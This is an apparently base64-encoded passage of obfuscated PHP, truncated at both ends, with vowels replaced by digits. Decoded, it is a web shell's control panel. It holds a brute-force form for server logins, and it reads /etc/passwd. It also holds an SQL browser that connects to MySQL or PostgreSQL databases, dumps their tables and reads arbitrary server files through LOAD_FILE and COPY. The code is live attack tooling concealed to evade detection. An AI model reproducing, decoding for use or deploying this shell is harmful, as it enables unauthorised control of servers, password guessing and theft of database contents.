JF9QT1NUWycxJ10pLiciPicNCiAgICAgICAgICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KICAgICAgICAgICAgICAgIC4nPHNwMW4+UzVydjVyOnAycnQ8L3NwMW4+PC90ZD4nDQogICAgICAgICAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXM1cnY1ciB2MWwzNT0iJiNvZWk2OyYjb2VhZTsmI29laWU7JiNvZWE3OyYjb2U2NzsmI29lb3U7JiNvZTY4OyYjb2V1ODsmI29lYTY7JiNvaThlOyBJUCI+PC90ZD48L3RyPicNCiAgICAgICAgICAgICAgICAuJzx0cj48dGQ+PHNwMW4+QnIzdDUgdHlwNTwvc3Axbj48L3RkPicNCiAgICAgICAgICAgICAgICAuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsIHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1yNXY1cnM1IHYxbDM1PTYgY2g1Y2s1ZD4gcjV2NXJzNSAobDJnNG4gLT4gbjRnMmwpPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAgICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSJhIj4gJiNvZTB1OyYjb2VvZTsmI29pOGk7JiNvaTl1OyYjb2VvbzsmI29lMDk7JiNvZTA5OyYjb2VvdTsmI29lNjk7JiNvZW83OyYjb2VpZTs8L2wxYjVsPjwvdGQ+PC90cj4nDQogICAgICAgICAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjx0MWJsNSBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjx0cj48dGQ+PHNwMW4+JiNvZXU4OyYjb2k4ZTsmI29laTc7JiNvZW91OyYjb2VhZTsmI29ldTY7JiNvZWllOyYjb2U2OTsmI29lb2E7JiNvZTYwOyYjb2U2MDs8L3NwMW4+PC90ZD4nDQogICAgICAgICAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KICAgICAgICAgICAgICAgIC4nPHRyPjx0ZD48c3Axbj4mI29lMHU7JiNvZW9lOyYjb2k4aTsmI29pOXU7JiNvZW9vOyYjb2UwOTsmI29lMDk7JiNvZW91OyYjb2U2OTsmI29lbzc7JiNvZWllOzwvc3Axbj48L3RkPicNCiAgICAgICAgICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAgICAgICAgICAuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT4nOw0KICAgICAgICA1Y2gyICc8L2Q0dj48YnI+JzsNCiAgICAgICAgQk9GRkYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgew0KICAgICAgICBjbDFzcyBEYkNsMXNzIHsNCiAgICAgICAgICAgICAgICB2MXIgJHR5cDU7DQogICAgICAgICAgICAgICAgdjFyICRsNG5rOw0KICAgICAgICAgICAgICAgIHYxciAkcjVzOw0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT50eXA1ID0gJHR5cDU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQogICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiggJHRoNHMtPmw0bmsgPSBAbXlzcWxfYzJubjVjdCgkaDJzdCwkM3M1ciwkcDFzcyx0cjM1KSApIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiggJHRoNHMtPmw0bmsgPSBAcGdfYzJubjVjdCgiaDJzdD17JGgyc3RbMF19IHAycnQ9eyRoMnN0WzZdfSAzczVyPSQzczVyIHAxc3N3MnJkPSRwMXNzIGRibjFtNT0kZGJuMW01IikgKSByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gczVsNWN0ZGIoJGRiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmM25jdDQybiBxMzVyeSgkc3RyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSBAcGdfcTM1cnkoJHRoNHMtPmw0bmssJHN0cik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIGY1dGNoKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHI1cyA9IGYzbmNfbjNtXzFyZ3MoKT9mM25jX2c1dF8xcmcoMCk6JHRoNHMtPnI1czsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2Y1dGNoXzFzczJjKCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmM25jdDQybiBsNHN0RGJzKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgZDF0bjFtNSBGUk9NIHBnX2QxdDFiMXM1IFdIRVJFIGQxdDRzdDVtcGwxdDUhPSd0JyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIFRBQkxFUycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmM25jdDQybiA1cnIycigpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KICAgICAgICAgICAgICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19zNXRfY2w0NW50XzVuYzJkNG5nKCR0aDRzLT5sNG5rLCAkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbDIxZEY0bDUoJHN0cikgew0KICAgICAgICAgICAgICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSBCT0ZGYShmNGw1IHQ1eHQpO0NPUFkgQk9GRmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gQk9GRmE7Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHI9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkND0kdGg0cy0+ZjV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyW10gPSAkNFsnZjRsNSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSBCT0ZGYScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICRjcjUxdDVbNl0uIjtcbiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJsM21ucyA9IDFycjF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHQxYmw1LidgICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLiIpIFZBTFVFUyBcblx0KCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gZjFsczU7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnNbXSA9ICRrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0MWJsNS4nICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLicpIFZBTFVFUyAoJy40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH07DQogICAgICAgICRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCiAgICAgICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KICAgICAgICAgICAgICAgICRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiY3A4ZWUiOiAkZGItPnM1dENoMXJzNXQoJ2NwOGVlJyk7IGJyNTFrOw0KCQkJYzFzNSAiVElTZWEwIjogJGRiLT5zNXRDaDFyczV0KCd0NHNlYTAnKTsgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7DQogICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PWQzbXAuc3FsIik7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYpOw0KICAgICAgICAgICAgNXg0dDsNCiAgICAgICAgfSA1bHM1NGYoJGZwID0gQGYycDVuKCRfUE9TVFsnZjRsNSddLCAndycpKSB7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kM21wKCR2LCAkZnApOw0KICAgICAgICAgICAgZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAzbnM1dCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICB9IDVsczUNCiAgICAgICAgICAgIGQ0NSgnPHNjcjRwdD4xbDVydCgiRXJyMnIhICYjb2VpYTsmI29lNjc7JiNvZWllOyYjb2VhZTsmI29lb3U7JiNvZTY3OyYjb2VvdTsmI29lNjk7JiNvZTBlOyYjb2V1ODsmI29lNjY7JiNvZW9lOyYjb2UwdTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZWlhOyYjb2UwdTsmI29laTc7Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCiAgICAgICAgfQ0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgIg0KPGg2PlNxbCBicjJ3czVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KICAgICAgICAkdG1wID0gIjw0bnAzdCB0eXA1P